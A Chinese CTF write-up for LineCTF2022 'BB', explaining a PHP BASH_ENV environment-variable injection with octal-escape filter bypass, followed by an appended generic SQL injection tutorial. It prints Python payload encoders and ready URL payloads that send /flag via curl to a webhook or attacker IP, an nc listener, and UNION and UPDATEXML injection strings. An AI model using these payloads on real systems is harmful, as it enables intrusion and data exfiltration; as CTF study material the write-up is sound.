ctfer的日常web:[LineCTF2022]BB(buuctf)

PHP代码审计中的环境变量注入漏洞及利用示例
本文详细描述了一段PHP代码中的环境变量注入漏洞,如何通过绕过大小写过滤并构造payload进行攻击,包括使用curl发送POST请求上传文件和利用反弹shell技术。作者还引用了官方Wordpress博客作为参考。

代码审计:

<?php
    error_reporting(0);

    function bye($s, $ptn){
        if(preg_match($ptn, $s)){   //$s中如果存在$ptn,则返回false
            return false;
        }
        return true;
    }

    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) { //过滤= 过滤大小写字母
            putenv("{$k}={$v}");        //定义环境变量
        }
    }
    system("bash -c 'imdude'");     //这里执行了imdude,所以我们要对环境变量imdude进行操作
    
    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i")) {   //过滤=
            putenv("{$k}");
        }
    }
    highlight_file(__FILE__);
?>

 环境变量注入:

参考网站

使$k=BASH_ENV

$v=【攻击命令,如cat /flag | curl -d @- http://xx.xx.xx.xx:7001(攻击机ip)】

 绕过大小写过滤:

在linux中,$'\101' = A,故可以用八进制(即0o101=A)来绕过。

EXP(1):

向指定的 webhook 站点[]发送一个 POST 请求,并上传了一个名为 flag 的文件。

b"curl https://webhook.site/a27433a-afdb-9d9a080beb55 -F flag=@/flag"

这个命令的具体含义如下:

curl: 是一个命令行工具,用于在终端中传输数据,支持多种协议。

https://webhook.site/a278d631-e3e5-433a-afdb-9d9a080beb55: 这是一个 webhook 站点的 URL,其中包含一个唯一的标识符。

-F flag=@/flag: 这部分是命令的参数,其中 -F 表示要发送一个表单(form)数据,flag=@/flag 意味着要上传一个名为 flag 的文件。

from urllib.parse import quote_plus

cmd = b"curl https://webhook.site/a278d63fdb-9d9a080beb55 -F flag=@/flag"
parts = cmd.split(b' ')
cmd = ["$'"+''.join([f'\\{x:03o}' for x in p])+"'" for p in parts]
cmd = ' '.join(cmd)

payload = "$(%s)" % cmd
print(payload)
print(quote_plus(payload))

下载完成后查看里面内容即可,有多种方法:

一,在文件名后面加“.txt”;

二,用sublime打开;

三,.....................

EXP(2):

通过反弹shell的方式;

先在攻击机(自己的服务器)上,输入“nc -lvvp [端口号]”

import string

# cmd = "cat /flag"
cmd = "cat /flag | curl -d @- http://xx.xx.xx.xx:7001" #(攻击机ip)
str = ''
for i in cmd:
    if i in string.ascii_lowercase:
        j = oct(ord(i))[2:]
        str += "$'\\"+j+"'"
    else:
        str+=i

print(str)

再将结果拼接到url上如:

?env[BASH_ENV]=$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://xx.xx.xx.xx:7001

在攻击机(自己的服务器)上,输入“nc -lvvp [端口号]” 。

如果成功的话就能看到flag。

官方WP:

https://blog.maple3142.net/2022/03/27/line-ctf-2022-writeups/

### 关于BUUCTF Web类别SQL注入入门题目教程 #### 背景介绍 在网络安全竞赛(CTF)中,Web安全挑战占据了重要位置。其中,SQL注入作为常见的攻击手段之一,在多个平台上都有所体现。对于初学者而言,《从0到1:CTFer成长之路》这本书籍提供了丰富的资源和指导[^1]。 #### SQL注入基础概念 SQL注入是一种通过将恶意的SQL命令插入到查询语句中的方式来操纵数据库的行为。当应用程序未能正确过滤用户输入时就可能发生这种情况。错误消息可以提供有关如何构建有效载荷的重要线索[^2]。 #### 实战演练 - 基本技巧 考虑一个简单的场景,目标页面存在参数`?id=`用于指定记录ID。如果直接访问该链接并附加单引号(`'`)导致服务器返回语法错误,则表明可能存在未处理好的字符串拼接漏洞: ```plaintext http://example.com/page.php?id=1' ``` 此时可以通过尝试不同的payload来进行测试,比如利用联合查询获取更多信息: ```sql ?id=0 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='fl4g'-- ``` 这段代码试图读取名为`fl4g`的数据表结构,并显示其列名[^3]。 另外一种方法是使用基于布尔盲注的方式逐步推断出隐藏数据的内容。例如下面的例子展示了怎样枚举当前库下的所有表格名称: ```sql 1' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())),1)-- ``` 这种方法适用于那些不会回显具体报错信息的情况,但仍能根据响应差异判断条件真假[^4]。 #### 工具辅助学习 除了手动编写Payload外,还可以借助自动化工具如SqlMap加快探索过程。这类软件能够自动检测多种类型的SQL注入缺陷,并执行相应的操作以帮助理解潜在风险。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值